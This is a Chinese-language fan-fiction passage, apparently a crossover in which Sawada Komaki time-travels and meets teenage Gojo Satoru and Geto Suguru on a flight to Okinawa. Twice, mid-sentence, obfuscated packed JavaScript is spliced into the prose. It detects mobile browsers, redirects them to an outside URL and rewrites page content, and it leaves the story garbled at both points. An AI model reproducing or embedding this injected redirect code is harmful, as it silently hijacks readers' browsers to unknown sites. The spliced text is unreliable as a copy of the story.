江口小莳对铸炉的赦罪没有什么经验,准确的说,她只听说过,没做过:“仪式啊,我倒是没关系,可成功与否多半都会对这孩子精神产生影响。最坏的话,可能会陷入疯狂。普通的失败可能就是伤心一段时间。” 伤心一段时间具体是……精神影响又是? 与幸吉听说了小莳的失踪,他现在很不好--各种意义上的不好,得到了梦寐以求的健康身体后,再次的失去是何等不可忍受,他像盲目的蛾一样试图闯进辉光:“您有多大把握能够成功?” “成功了就是100%,我觉得你可以等待你们的小莳回来,听说她是个常人不可及的天才。我不算是。”失败了就是0,江口小莳歪头,想了一下,告诉他:“你目前应该没有生命危险。” 这点在场的所有人都知道。 他坚持问:“能请您,再说一些关于仪式的信息吗?” 结合他渗出血的身体与坚持做出的低头伏身动作,背后的注射管牵拉身体,少年发出低低的呻吟,和隐忍的粗重呼吸。江口小莳并不觉得这是某种急切地冒犯,更像溺水之人的绝望呼救。 “呃,我收集到了一些祷文,其中的力量或许能让你痊愈,□□的重塑也许对于一些更精通的长生和具名者来说尤其简单,但我没进行过此仪式。” 他被痊愈这个词深深的吸引。 一天后,他下定决心要经历这场仪式。成熟的教主此时正在五条家享受不要钱的反季甜瓜和新鲜雪蟹,得到消息以后只是擦了擦嘴,和同龄的家主商量好用车时间准备过会就动身出发。 高专京都校内。 “我需要支付何种代价呢?” “啊?”江口小莳正在用某种鲜血在地上画一个法阵,她觉得自己画的不够圆,听到这话有点惊讶,“为什么要付出代价?” “关于这场仪式,您什么都不需要吗?” 她都有点不确定了:“嗯……应该吧,我们并盛的人都挺乐于助人的,好像也没说要收什么。不过如果你有钱的话,可以送我。” “……”江口女士,与幸吉觉得陌生。 铸的力量,在古老的历史中,这是铁匠在月夜炉火中对钢铁的低语,然后与铁锤和冷水共同激发淬炼与改变。但改变来临之时,必须运用恰当的知识才能塑性。 赞颂热与钢铁的伟力,在燃料自咽喉不断冒出时,她的嘴唇干裂,舌尖脱水,白色的烟雾自周边的地板溢出。灼热,升腾,与幸吉感受到某种特定的愉悦,同时他的皮肤痛如火烧。 被毁灭、被再造。不可视的火焰熊熊燃烧。 与幸吉醒来的时候身上被盖了一张白布,江口小莳的脸遮住了天花板,她低下头,正对着他:“你醒啦?手术很成功。” “……” “不过--” “怎么了?”他的嗓子干涩得可怕,每呼吸一次就像在喉管经历了一场灼烧。 “你的身上,出现了一些疤痕-烙印。” 他只能吐露出简短的话语:“这没什么。” “然后就是,恭喜你成为本教第一个教徒哈。” “……” “别紧张,这就是我之前所说的-副作用。当时大家都在场,你也是知情同意的哈。” 与幸吉觉得自己被卖了两次,两次都是给同一个人。 “哎,好像我也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15413169|168847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没为这个时代的小莳做什么,不如在我离开之后,你把对我的忠诚,分一点给她吧?这是可以的吗?我不太清楚,以前我们教就我一个人的。” “……”与幸吉的理智驳斥着关于忠诚的说法,但他的内心有一道声音,劝说他听从。“为什么给我盖白布?” “你没穿衣服,影响不好。”京都的高专医务室里,白布挺多的,看来咒术师也是个高危职业。在这次的仪式中,她隐约有了点关于自己结社的想法。 江口小莳觉得收获不小,思路不明的时候,换个环境接触一下外面的世界,果然是好的选择。 她觉得在回归之后,自己可以选择前往非洲一段时间,探访一些部族和他们的文化。不过在那之前,她前往五条家又暂住了几天。 那里可是比五星级酒店还美好的地方,而且,免费。 她和一对挚友分享了自己旅行的见闻和维生的手段。 纠正了一些他们的错误想法:“月光是因为花的多,不是因为我不能赚钱。”一个月几十万日元未免也太小瞧人了。 也听了一些咒术界的事情,还有泽田小莳在彭格列的生活。她没有她一开始想的快乐,记忆对她也有一些负担,好在最终这些都被克服了。 “我是孤儿,小时候很懂察言观色的,倒是不知道自己还有这种可能性。”现在能够独自立足了,就随性了一点。 “歌姬说与幸吉最近总会做奇怪的梦,而且有时会精神恍惚。” “可能是仪式后遗症,他的身体被重塑,脑袋也不如以前正常了。”她大约有提示过这种可能,但对方也执着,“你可以观察一下。当然,我在这里的时候也会注意,但我不会永远留在此世。” 说到平行世界,江口小莳最先记忆起的人时白兰。但她不喜欢他,万恶之源,谢天谢地他在她的世界里死了。只是在这样一个世界里,白兰还在改邪归正后快快乐乐的活,就算知道回归的事情可能会牵扯到他,她也不想和他产生联系。 总感觉是个随时会毁灭世界的不稳定因素。 这个世界里没有她曾经见过的那些神秘典籍,也许她所用的仪式和力量也是不被允许的禁忌,接下来还是不要再展示这些为好。 值得高兴的是,五条家主似乎和泽田小莳关系很不错的样子,他承包了她的所有额外开销,该说不说和另一个世界自己的男朋友们相处还怪尴尬的,他们完全不是她的类型,没有交流的必要。 她见了传说中和女儿关系恶劣的泽田家光,发现和自己那边为人很像,而他和她之前关系都还不错,他可靠,有责任感,消息灵通,小莳喜欢和他聊天,最重要的是,他的大部分消息都当做人情顺畅地免费赠与她了。 世界还真是个奇妙的万花筒,人与人之间的关系亲疏也像镜中图案,只需命运之手的扭转就能立刻变换。 她与泽田家光在札幌偶遇的酒馆里喝了几杯,她是偶遇,对方多半不是。 江口小莳猜测对方想知道在另一个世界家族的运行情况:“那里很好,在浩劫后一切都重新建立起来了,彭格列的一切都没有损伤,你和奈奈夫人都健康的活着。” “不全是那个,你怎么样?” “挺好,我们关系也不错。但你似乎是对女儿有些移情到我身上了?我不建议你从我这里得到认同。”因为泽田家光得不到。说一千,道一万,是他提议要把孩子丢给复仇者监狱的,她只是和泽田小莳长得一样,又不能代替她理解他人的行为。 “啊,如果是你的话,你有多怨恨白兰?”泽田家光对十年后的那段事情知之甚多,所以他巧妙地提出这样一个问题。 “因为他死了,所以还好。如果夫妻美满事业有成,可能我就不会像现在一样平静自由了。”即使漫游世界各地,心中都会放不下所受伤害不过是上层人士的游乐场的不平吧。 江口小莳喝下半杯酒,嘴巴稍微松了些,她决定也送出一个人情。“登”一声将玻璃杯掼在桌上:“重点是足够多的代价。” 她离开的时候没付钱,作为让人掏腰包的人情和另一个世界的交情,她说:“她今年18,也许过了14年,你对她是有点感情,她可能也知道。但你什么都没做,反而显得你的一点点父爱很虚无。我不喜欢自己受了苦,到最后还要理解给我带来痛苦的人,仅对我而言。” 说到这里,她想到了有趣的人。 伏黑甚尔,他还挺会伏低做小,在五条悟那边听来了一点异世界恋爱见闻,她在对方毫不留情的贬低和轻视中,捕捉到了即使是五条悟不愿承认,他其实挺认可这种求爱方式。至少对方相当真情诚意,也真实得到了痛苦,付出了代价。 在这点上,也许泽田小莳与她都是有债必偿的类型。 * 2008,西西里。 小莳在最后还是去了吉留涅罗,见到了如今尚年轻的尤尼还有伽玛。对比月前在自己那个时代的见面来看,评价这对夫妻为十年如一日的情感甚笃也不为过。他们很恩爱。 “哟,公主。很高兴见到你,但我是来找白兰的~” 说到平行世界,任何一个有mafia经验的人都会联想到白兰,她亦如是。时间已经过去几个礼拜,她不为自己考虑也要考虑奈亚,还有惠惠他们……也许还有甚尔。 在过了一段需要自己动手的生活后,她还是有点想念自己的时代,想念反转术式和造物,还有伴侣。 他们热情地接待了她,虽然是在此的初次见面,但尤尼似乎早已经预见了她们的相识。 “和这个时代的小莳相见还要在三年后,我会期待那一天。”预知能力很好用,小莳很羡慕,尤尼人很好,小莳很喜欢。 “那我就先说谢谢啦!我很喜欢尤尼,你给了我一些感情上的建议,目前我的感情生活也良好。” 加上白兰说地问题不大的承诺,小莳觉得事情被自己处理地相当完美。 只等回家了。 白兰的上一次带人穿越是在另一个平行世界的十年后,目标任务是ghost,也即是说,这里的2008年的18岁白兰本人,没有任何相关经验。 不过小莳信任他的能力,她看过他写满了两面墙的理论,依照她天才的大脑来看,行之有效。 “白兰,这个时代的我过得不好有一半都是你造成的。”小莳在他做准备流程的时候在旁边见缝插针,“所以你得多照顾她,知道吗?” “就知道你会这么说。” “因为我想要得到你的承诺才放心嘛。你虽然爱钻空子,但也还算喜欢秩序,所以我不觉得你是个完全混沌的人。”她在听者侧耳并停下手中动作后才继续说,“我们以前关系可好了,你还用白龙送我上学,要对小时候的我多点耐心哦?” 他笑眯眯地说:“你不说【第二】了,看来是真的。” 和情报人员不玩虚假的感情牌,小莳可是很有智慧的,她亲密地揽着同龄人的胳膊:“那我们就说好了哈,我以后会给你买很多棉花糖的。” 其实没买过,但回去以后会好好落实。 她回家的时间就定在两天之后。 这一次的时空穿越和来的时候不尽然相似,小莳感觉到自己的手被牵引着,然后身在蜿蜒的长廊上步行,再一回神,又变成了失重与下坠。 她两手空空,没见到白兰,也没有陪同。 等她有实感的时候,已经转移到了飞机上。 这里是……客机?风机集团的飞机不可能设那么多座位的,恭弥要发飙了。 102. 第 102 章 早间前往冲绳的飞机上,五条悟睁开了眼。 一旁的夏油杰问他:“怎么了,悟?” “我们,应该是在几万米的高空上没错吧?”五条悟摘下眼镜,脸上是“真拿他们没办法啊”的表情,但也跃跃欲试。 夏油杰下意识往目标处看,坐在最靠窗位置的天内理子靠右睡得正熟,“一般来说仅有6000-12000米。你感觉到什么异常了么?” 五条悟让他坐着不要走动,解开安全带,向后走去。 * 小莳的头有点晕,在这同时,还有个乘客从她身边擦过去了,到厕所。她回过头看的时候门已经关上,还从里传来锁门的声音。 不是……白兰。这下事情大条,她成【ghost】了。按照多次时空旅行的经验,十秒之内必会出现熟人,或者以后会成为熟人的家伙,而且那人能看见她。 小莳抹了把脑袋,在心中默念计数。决定如果没人出现,她就去偷看乘客的手机,就像涩谷那样。 “呀,真是天下之大无奇不有,是Q的人?不是,难道说盘星教?这什么任务连咒灵也要分一杯羹?赶紧收拾收拾回座位补觉。或者,你要投降缴械吗,入侵者?” 穿着高专校服的高个子如期而至,这人长得像五条悟,说话也像五条悟,唯独讲话的态度,比他欠揍。他可能看出了小莳对盘星教几个字起了反应。 “呐呐,不会吓傻了吧?” 盘星教?那都多少年前的事情了,不过眼前的人确实比较年轻,而且--不认识她。还把她当成咒灵了。 小莳抬起头,看他手上的蓝光微闪却隐而不发:“咒灵的命也是命啊,清汤大老爷你明鉴,我从来到这个世界,一件伤天害理的事情还没做。” 不清楚发生了什么,但事情真的很很有趣,她要沉浸式体验一把! “哦呀,咒灵会说话?”五条悟的眼力和对咒力的流动一向敏感,在飞机后方出现陌生的大波动咒力后,他立刻就反映了过来,结果到现场一看,是个人形咒灵。 而且她长得,活脱脱就是人类的形状,胳膊腿的数量正常,体型匀称,脸蛋……还挺漂亮。现在还会说话,语言逻辑清晰,求饶的话术在线,至少是个特级。 他从没见过这样的咒灵。 “有点伤到我,怎么不会呢?”咒灵少女扶着厕所门站起来,“这里是什么地方?” “飞机,知道吗?在天上呜呜呜呜飞的。你知道飞是什么吗?”五条悟给她做了一个振臂展翅的姿势,正对上厕所打开门后从里出来的人。 小莳被一道门拍到,然后又是那个刚才进去的人,他看了一眼在做奇怪动作的五条悟,然后骂了句有病。小莳还觉得这个人有病呢!开门那么快干嘛! “不知道,谢谢你告诉我,现在能介绍是去哪里的了吗?”她配合了一下表演,不让自己的朋友尴尬。 “冲绳。”五条悟走进了厕所,小莳犹豫自己是不是也要跟进去,万一人家是真想上厕所呢? 在他的一个回头的眼神后,她跟了进去。 飞机经济舱上难得的私密空间。 民航,经济舱,厕所的一切都很脏,小莳不想坐在洗手台上,于是站在门旁。“那么我们去冲绳做什么呢?”很自然的带入参与者身份。 “不,是我要去冲绳,而你要坦白你从哪里来。”他在马桶圈上坐下来,还翘起了腿,很不卫生,但小莳知道,这人有无下限,是个战斗时候连血都不乐意沾到身上的娇贵家伙。 “现在是多少年?”她又问。稍微有了一个想法,等待验证。 “哈?”大少爷不耐烦了,“2006,要祓除你了哦?” 果然,说起冲绳和五条悟,还有那明显年轻些的脸,以及盘星教……小莳来到了传说中的星浆体时代。隐隐约约多方听说过这件事,多方指的是甚尔、五条悟、夏油杰。 她掐指一算,此人89年12月出生,现在不满17,按月份算的话也只有16.5。18岁开领域,16岁反转术式,而现在在那之前。她十分自信:“没事,你打不过我。” “你才16岁,反转术式都学不会,你拿什么打我,飞机都要给你苍吸进去咯~”小莳心情愉悦地按住了洗手台的龙头,里面呲呲冒水的声音让她很快乐,“不过你长得确实挺高的,我姑且承认你之前没骗我了。自我介绍一下,我是泽田小莳,来自2019,不过论直接来的话……我是从08年的意大利来的。” “……什么叫反转术式都学不会,也没几个人学会啊!!!” “你别急,其实我的真实身份不是咒灵,只是来到平行世界的时候出了一些小小的问题才变成这样的。十几年发生了一些事,但是根据时空漫游法则不能告诉你太多。现在,厕所的味道让我有点受不了了,我们能够出去了吗?好消息是人类看不见我,可以随便找个什么地方呆着。”小莳在臭烘烘的厕所里明白了一切,如果她与咒术师们的提前会面是被记忆在脑中,那五条悟在涩谷那时就不会认不得她,所以答案就这样揭晓--这里也只是一个相对于2019年的平行世界的过去。 在这个2006年,五条悟和夏油杰带着她的学妹理子,乘飞机前往冲绳去救那个女仆。她的名字小莳记不得,因为伏黑甚尔也没说他打晕的是谁。按照已有的时间推算:明天上午,是五条悟学会反转术式的时候,也是他被干掉一次的时候。也就是说,她还能赶得上热闹。 “你不会以为这样说我就会信你吧,大姐。” “……你叫我什么?” “哦,大姐。老子才16岁,听起来你比较大哦?” “五条悟,你得罪我了。”小莳也不是什么好脾气的人,起手就往他头上摁,五条悟指尖对向她,没想躲,正和她意。她在他震惊的目光中捏住他的手,沉声念:“领域展开【不垂堂】。” 在外人眼中,这个高中生一样年纪的帅哥,终归是如厕困难占用公共资源了。 在咒力还没有被发明出来的地方,小莳用自己的幻术还有可以被视为拖累的累赘身体,揍了不会讲话的高二小哥哥一枚,当然,她自己也受了点伤。 “这里是我的生得领域,我以前也没做咒术师,所以如果你不会催动死气之炎,那你就是普通人,庶民,任人宰割的家伙。”她蹲下在五条悟的后脑上拍了一巴掌,却不料对方反身拉扯住她的胳膊,一股力气将她压在身下。 小莳躲开了,她用障眼法逃到了屋檐下,在这负伤的白发帅哥身底下的变成了一件破外套。她在意大利随便买的,坏了也不可惜。 只是没打到心仪的后脑勺,有点失落。 “你多大了?”五条悟站起来,握着小莳的外套看了两眼,确定那只是衣服后就丢到一边,认真问她。 “18,不过我们不是同一个时代的人。我的时代-额,”小莳想起赤司家出生证明上写的日期,她是06年出生,然而按照彭格列那边推算,应当是01年,各个世界的时差都有点不清不楚的地方,很难说她自己是什么时代的人,“总之是零零后啦!” “那你比我大两岁,也没有很厉害。” “输了的人是你。” “因为这里没有咒力,不然老子一下就可以把你--” “哦,我会反转术式,你呢?”小莳对着他伸了个懒腰,“坏消息,你还是我的二重身,所以你--无下限也失效了。真是风水轮流转呢,以前看这集的时候没这么开心的。” 她说这句话的时候,做好了准备,往庭院里站立好的五条悟身上一扑,动作敏捷,反应迅速,完整地将他推到在地上,并且自己没沾染泥土。土地里地幻术造物纷纷破出,她像之前封锁狱寺隼人一样关押住了自己这个未来的顶头上司。 五条悟也和08年的狱寺一样脱离不了桎梏。 “给自己找借口是败者的特权啦,我会允许的,不过要事先说明清楚,是你先惹事的吆~”在年轻气盛又败北的五条悟身上,小莳找到了点快乐。在意大利过的实在太憋屈,还真应了那句,有求于谁,就要在谁面前点头哈腰。 倒也不是说自己之前的一切都是虚假的,不过为了小时候的自己着想,心中有挂念,总归不能尽兴。 “你莫名其妙的出现在这个时代,还是咒灵形态,没人指望你来。”五条悟又试了几次,那锁链就像嵌在地里一样,令他逃脱不得,“你耍赖!” “很好的用了特权呢。”怪不得家入医生说他没悟性,小莳在他脑门上顶了顶,“你以后求我的时候说话好听多了。” “哈?我会求你?这种事情只在你梦中出现吧,小小姐!”现在她成小小姐了,没想到在心比天高的五条悟身上,这么早就有了慕强的意识,小莳觉得很有趣。虽然有点阴阳怪气的意思,但至少也是阳奉阴违的那种。 他会叫她小小姐了。 小莳一屁股压在他身上,也学他翘起了腿,他觉得她太重了,不知道吃什么长大的。她不在乎,手握成拳给了他腹部一下:“其实你已经相信了,没必要假装。” 五条悟不说话,身体也安静下来,小时才接着说:“这才对嘛,因为那个时候你长大了。现在的你出生入死过好些次,但并不意味着你就是大人了。等枕边脱落的头发变多,喜欢吃的夹心面包从便利店消失了,这些小小的绝望堆砌起来,才会让人长大。” 最后说:“七海海应该去写书。”搞金融没前途的,要是当时选做个作家现在估计就不做咒术师了。 他眦牙,像猫在哈人:“这和七海有什么关系。” “因为是他说的,你以后好像不掉头发,但死了不少同伴,总归一个意思。成为最强不意味着你可以解决所有事,好吧?要是尘世间的事情那么简单,高层早该死绝了,然而总监部还有那么多大活人在尸位素餐,所以你说呢,我的大少爷?”她想到,眼前的高中生还有一整个世界要去奋斗。 她还拍了拍他的脸,这下他不反抗了。在听到死了不少同伴的时候他就脱去了外壳,露出其中神性的悲悯一面。 小莳说:“真好啊,希望我也不掉头发,不过如果你不掉的话,我应该也不会?我挺喜欢做发型的,有的时候还挺伤毛囊,白头发它不上色,掉的快。” 过了一会,他问:“有谁死去了?” 小莳没回答,毕竟首当其冲遇到的就是直系学弟和最依靠的挚友,她转换了个方式:“你还记得我们是从哪里来的吗?万一你出去的时候外面有人就太尴尬了。诺大的飞机可就这么两个厕所,到时候要面对一脸怨气乘客的人可不是本咒灵。” “……” “你会好好和理子还有杰介绍我的,对吗,大少爷?” 他小声说:“别叫我大少爷。” 小莳双手捧着脸,一脸夸张的喜悦:“可是你叫我小小姐耶!” 五条悟转过脸去:“……知道了,我会向他们介绍你,泽田小姐。” 好听,爱听,恨不得录下来带到未来听。 小莳满意站起来,撑着被她垫在底下的身体,五条悟不满哼唧,她一个响指解开了枷锁。拉着他的胳膊出了不垂堂。 五条悟神色严峻,她知道,外面有人,可能还等了一会。 小莳在门开后就大摇大摆走出去,仗着没人看得见她,走到五条悟所给她指的座位上,她光明正大坐在了夏油杰旁边,引来对方差异的视线,还有起手准备召唤的手势。 真是伤心,头一次和伙伴见面就是刀刃相向的局面。 “我们家小悟说等处理完厕所堵塞事件后就过来。你等等他。”小莳谨慎地拍了拍年轻夏油杰的肩膀,怪怪,他也好壮。 不是你们高中生吃什么长大的,杰和悟……身高从现在到未来就没变过吧? 夏油杰皱眉,眼前的少女,无疑是咒灵,联系一段时间前悟的反应,事情就是因她而起。他从没见过这样的咒灵。“你是谁?” “我是他女儿。”仔细一想06年也是她出生的时候,严格意义上是这样--只不过在这个世界不是。小莳整理了一下想法,开始编排:“从未来来的,形态被时空乱流吞噬,变成了现在这样。好久不见啊,杰叔。” “……” “我爸在后头呢,刚在厕所呆太久被--额,你回来好快啊,悟。” “我什么时候成你爸了。” “刚才,你们知道吗?我出生在06年哦?恰好现在是我0.4岁。” “时间不对吧,而且这是我的座位。”五条悟一只手撑着靠背,伏下上身,无限靠近小莳,试图给她一种压迫感。 “我都你女儿了,你让让我呗?”这么说着,小莳还是站起来,一个高个男人站在过道上低头对空气讲话也太奇怪了,“我坐你俩中间,行吗?” 实际上她也没管两人怎么回答,□□就搭在了两人膝盖上,夏油杰的右腿和五条悟的左腿成功给她作了人肉板凳。 “……” 五条悟转头放狠话威胁她:“一会我让杰把你给吸收了。” 小莳左脚踮起来,够五条悟的腿,在他鞋上踩了一脚:“笑死,做得到就来啊?如果是我的话,应该得是超级加强版臭抹布,把你挚友熏死,然后他就一尸两命了,孩子养不了了,家也散了。” “臭抹布是什么?”他这会又忘了是自己先挑事,装作什么都没发生套情报。 小莳一想,没什么不可以说的,就告诉五条悟:“咒灵的味道像臭抹布,他不爱吃的。但是杰害羞不好意思主动说。他有点腼腆呢。” 喂喂喂,这是……到目前为止只说了一句话的夏油杰猝不及防被一个第一次见到的女孩揭了老底,而且很在意,什么叫孩子养不了,家也散了,他什么时候有的孩子? “你可得好好看着挚友,别让他乱吃路边的咒灵。”小莳依据自己对夏油杰的了解,给出了第一个对五条悟的忠告:“三级和以下的就没必要吸收了,免得消化不良。咖啡掺了水,浓也是一口,淡也是一口,简单来说:难喝。” 以后的时代里咒灵要多少有多少,任务根本就做不完,早点建立食用等级制度对大家都好。 夏油杰根本不认识小莳,对她的突然出现和莫名其妙的熟稔表现出极大不安:“你,到底是谁?” “简单来说,我是你未来的,”小莳,想了想,说:“上司,我是你上司。”过一把官瘾,其实只是伙伴,论职级大家都在瓦利亚做过业务员,杰还兼了点行政助理,回到日本去并盛做了高管,但她嫂子可是云雀恭弥,怎么想都是自己厉害点,说上司不过分。 关系户的上司也是上司,对吧? 没人相信。 真是两个有年龄歧视的大人,小莳没解释太多,重新换了个说辞:“我有几年没上学的时候在集团里打工跑业务,杰是我的科长,带了我两年,坚持不懈地帮我擦屁股写报告,还会给我买甜点心。他有两个女儿,双子,比我小一点,单亲,孩子妈不要她们了,他一个人带大的。” “两孩子不太喜欢我,觉得我脾气不好,委屈了爸爸。但是我有什么办法,都是杰自愿的啦!后来我就回去上学了,现在我本来应该高三,但是不晓得学校那边怎么样,希望没给退学。杰一直很期待我上东大嘞。” 讽刺的是,两个16岁的特级咒术师信了一大半。双子对她的不喜欢主要源于一开始的阵营敌对还有中间的一些始于夏油杰的鸡娃操作,后面关系都还不错,除了她们还保有一点唤人吗喽的习惯,而这总让小莳想到网络表情包而发笑外,别的都无可质疑。 就因为她说自己是被照顾的那个,他们就信了,可恶啊! “我不做咒术师了吗?” 涉及到世界观了,小莳让他换个问题:“别问,这个很难回答。你知道的,世界穿越条例。” 五条悟戳戳她,言语上也戳破了漏洞百出的托词:“不是叫时空漫游法则么?” “你们好烦啊,不能说!”小莳甩头,对两人进行头发攻击,“我已经发现了,无论说什么,你们都会有自己的想法,别想从我这知道任何我不想说的事情!”九十九由基对杰也是,她对悟也是,涉及到这是一个怎么样的世界、要如何改善它一类的事件,靠别人劝说是很难起效的,得他们亲自经历过一遍才能体会。 小莳怀疑,如果现在说了点关于伏黑甚尔的事情,或许五条悟明天就学不会反转术式,然后……说不定30岁不到就死啦!这种程度的罪责她可不想担。 这段历史是一切的开端,她想好了,先把理子弄活再说。至于甚尔……他这会估计满脑子想和五条悟对上呢,人应该也挺坏的,很难评,她先不深思。 “同化是什么时间?”她问。小莳现在强的可怕,早就对前男友滥杀无辜的事情有微词了,还是自己的亲亲学妹,现在有机会在另一个世界挽救一个本该有光明未来的小女孩,怎么能不珍惜这个万中无一的时刻! 五条悟张口想说,却被夏油杰阻拦:“等等,现在还不能完全相信你,你没有任何证据证明你说的这一切。天元大人的同化关系到咒术界的未来,如果有有心之人想要从中作梗,无论什么事情都做的出来的。” 他把他的缜密思维都用在怀疑小莳身上了,她第一次向右边扭头:“会说话的特级要到十几年后才能出现呢,而且他们长得奇奇怪怪的,都不如我好看。不过对事件保持思辨态度,再做判断,这也是你的责任之体现。你想我怎么证明呢?” 五条悟拦住小莳的肩,从不垂堂出来以后他就没再怀疑过小莳的动机,以她的实力在那里把他干掉,再出来把飞机炸了或者做点其他的事情都是可以的,别有目的的话早就做了。而且他也相信了关于二重身的说辞,他的无下限在她面前就像不存在一样。 他说这个纯属凑热闹:“说点杰前妻的事情,我就信你。” 根本没有前妻,但小莳也爱玩,她没说谎:“杰没结婚,我也没见过孩子们的母亲。听说杰很讨厌她们的生母,孩子们也很讨厌母亲。基于我听到的全部消息,她应该是死了。”讨厌到村子都扬了,美美子和菜菜子好像还觉得干得漂亮。无论生母是谁应该都死了吧。 夏油杰有点害怕她在说谎,更害怕这说的是真的,有种预支了自己不幸未来的感觉。但是他很快反应过来:“这也是没有对证的说法,如果你真的认识我和悟……” 小莳和守护者们说这话有点说习惯了,她于是顺嘴用了彭格列专属句式:“你以前可喜欢我了,不会随便怀疑我的。” 五条悟问了:“你们什么关系啊?说这些,办公室跨年龄恋爱吗?” “……” 说起来也没认识几个月,小莳托着下巴,想了想说:“你们自尊心都挺强的,应该不会说这些,那我不客气地指出了!你爸妈觉得你是个怪胎。这困扰了你整个童年呢,你悄悄告诉我,你要用一生来治愈。”几个星期前才聊过,他还说从来没和别人说过呢!希望杰诚实点别骗人。不过后面的添油加醋纯属胡诌。 “……”夏油杰信了,到底是什么样的情谊才能如实说出这种事情…… 五条悟也因为她的话有些呆愣,怎么就突然跳到这边来了? “理子好像要醒了,你们好好和她介绍我。虽然时间有点混乱,但她是我学妹哈,我们还参加了同一个社团。”小莳面朝那边往后靠,倚在了五条悟肩膀,“她还做了爱豆呢,灰原雄很喜欢看她的节目。” 两位dk眉头一皱,实在很难想象这是怎样的光景。 “对了,星浆体是能看见咒灵的吧?”小莳往窗外看去,这是,传说中的虹龙?好气派,“好怀念,杰,我想骑虹龙。你以前什么都会答应我的,这次也一样,对吧?等到了海边我要骑龙。”说到冲绳,怎么能不去看海! 虹龙虹龙,你比白龙大一圈。 “所以天内最后没有同化?”五条悟想到了这一点,凑到小莳耳朵边,小声问:“这是可以回答的吧。” “可以的,没同化,她死了。”小莳轻声只在他耳边给出了这个答案,然后和转醒还没清醒的未来学妹说话:“早上好,理子。” 在一番少女的惊慌失措还有两位dk和周围人大声解释是起床气后,三个人的团队里丝滑加入了一个其他时代来的唯一一个成年人。 直到下飞机小莳都在和她聊天。 “所以……” “她重生了。”小莳说到这里伏在五条悟侧脸边和他说悄悄话:“不是有很多这种类型的小说吗?我重生了,重生在那个阳光洒满盘星教会馆的下午,然后就会有一些男人痛心回头之类的,还有恶毒的坏人最终受到惩罚什么的。” 还没听说过这种题材呢,他有点被小莳轻松快活的语气带偏:“然后呢?” “这一世,我要夺回属于我的一切,我要做日本第一的爱豆,然后拿到奥斯卡。”小莳没忍住,串到梦见弖那边去了,“不过我不太清楚理子最后能不能成功,那是在又是另一个世界发生的故事了,那边没有诅咒,运气不错。反正她活得也不赖。” 不过小莳想起了她以前总是提到的幻想中的家人……那位女仆确有其人,就是这会要去营救的那位,比起未来不确定的友情和后来出现的亲情,对现在的理子来说,应该没什么比这位家人更重要。 她还是不要死去比较好。 “那灰原--” “你很敏锐嘛,悟。没错,他死了。”小莳说的轻松。 “……” 小莳语调轻松:“不过他也重生了,在那个拉面店兼职顺便选择大学专业的下午,最后义不容辞的选择了工程。【我不做咒术师啦,七海!】他这么说。” “……”编的吧。 “你们两个,别说悄悄话了,要拿行李了。”夏油杰在前面招呼,小莳对他挥手示意。 她往前走了两步,然后转头对戴墨镜的高大少年说:“所以我是这次行动 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15413170|168847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的总指挥,知道了吗?要听小莳小姐的话!顺便我就不去见七海了,你们马上应该要和他们会和,让杰给我个长得好看点的咒灵做定位,我先去其他地方逛逛。记得援救之前来接我。” “没人承诺你总指挥的身份啊,你不要得寸进尺。” 小莳不理他,接着话往下说:“因为我担心他给我举报到夜蛾校长那边去,他是最没有想象力的那个,观念轴得很。万一总监部把我抓起来研究就糟糕了。校长和乐岩寺关系可好,乐岩寺上头有人。我这条件,参考一下你亲戚,死刑起步。”七海也很有趣,但听说他高中的时候比较叛逆,唔,星浆体毕竟也是关系着咒术界未来的大任务,少一点变数比较好。 “校长?真给他当上校长了,杰还真是消息灵通。现在夜蛾老师只是我们的班主任。” 她鼓掌:“让我们恭喜他,晋级成功。” 说完就搭到夏油杰后背,让他把虹龙给自己。最后她分配到一个小小的,只有仓鼠那么大的四级,可以放在肩膀上,便于携带。 “太丑了,不要。” “你没得选。” “你以前不是这样的,杰。”小莳疲弱地控诉,虽然如此还是乖乖地把丑东西托在手心。 夏油杰大概是被她可怜巴巴的样子取悦到:“算了,给你换个这个。” 小莳抬头,这也很丑,但比手上这个好了不少。她乖乖接过,“我就在纪念品商店看看,不会离你们太远的,看见高专校服的人我就躲得远远的,绝对不会被邪恶的咒术师抓到。” “……”她带入咒灵的速度相当快呢。 拿完行李后,两位高专学生带着任务目标和两位学弟简单见了一面,请他们在机场观察,时刻注意特殊情况,一旦发现盘星教和诅咒师就电话或者信息通知。顺便告知后辈们接下来打算去营救照顾星浆体的女士,并且审问绑匪。 简单寒暄两句后,他们再度跟着夏油杰的标记咒灵折返航站楼。 顺着标记的咒灵方向找到小莳时,她正在和店员交谈,聊的是有关冲绳的海和水族馆。她回头很高兴的招呼两位高专学生,回去还和导购的女孩说:“我的同学来找我了,这个,这个,这个,麻烦都装起来,悟,付钱。” 两位高中生震惊。现在她是一个能被看到的咒灵了,就,好像才过去半个小时的样子。 “怎么回事?”最后问她的是夏油杰,五条悟跟在理子后头,手上拎着自己付钱买的别人的东西 “简单来说,我是个小天才,刚刚那个是我实验的实体化,很意料之内的都成功了呢,这样接下来的任务也好做得多。”要是实体化没效果,还真不知道该怎么妥善完成任务。她暂时没有想把这个世界的甚尔干掉的意思。 虽然他作为对手真的很值得警惕,阴险! 